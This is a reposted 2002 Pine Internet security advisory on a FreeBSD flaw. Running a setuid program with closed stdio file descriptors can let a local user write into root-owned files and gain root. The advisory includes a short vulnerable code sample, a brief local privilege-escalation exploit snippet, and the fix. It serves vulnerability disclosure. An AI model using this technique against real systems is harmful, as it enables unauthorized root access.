Related information

Unzuthorized file access via file stdio decriptors in multiple Unix systems

Multiple OS kernel  insecure handling of stdio file descriptor

Security Update: [CSSA-2002-SCO.43] UnixWare 7.1.1 Open UNIX 8.0.0 : closed file descriptor race vulnerability

OpenBSD local DoS and root exploit

Security Advisory FreeBSD-SA-02:23. stdio

From:	Patrick Oonk <patrick_(at)_pine.nl>
Date:	23.04.2002
Subject:	Pine Internet Advisory: Setuid application execution may give local root in FreeBSD

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Pine Internet Security Advisory
-----------------------------------------------------------------------------
Advisory ID       : PINE-CERT-20020401
Authors           : Joost Pol <joost@pine.nl>
Issue date        : 2002-04-22
Application       : Multiple
Version(s)        : Multiple
Platforms         : FreeBSD confirmed, maybe others.
Vendor informed   : 20020406
Availability      : http://www.pine.nl/advisories/pine-cert-20020401.txt
-----------------------------------------------------------------------------

Synopsis

       It is possible for a local user to execute a suid application with
       stdin, stdout or stderr closed.

Impact

       HIGH. Local users should be able to gain root privileges.

Description

       Consider the following (imaginary) suid application:

       -- begin of imaginary code snippet

               FILE * f = fopen("/etc/root_owned_file", "r+");

               if(f) {
               
                       fprintf(stderr, "%s: fopen() succeeded\n", argv[0]);

                       fclose(f);
               }

       -- end of imaginary code snippet
               
       Now, consider the following (imaginary) exploit:

       -- begin of imaginary exploit snippet

               while(dup(1) != -1);

               close(2);

               execl("/path/to/suid_application",
                     "this text will endup in the root_owned_file", 0);

       -- end of imaginary exploit snippet

       Exploitation has been confirmed using the S/KEY binaries.

Solution

       FreeBSD source trees have been updated on the 21th of april 2002.
       Please cvsup.


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--
patrick oonk - pine internet - patrick@pine.nl - www.pine.nl/~patrick
T:+31-70-3111010 - F:+31-70-3111011 - Read news at http://security.nl
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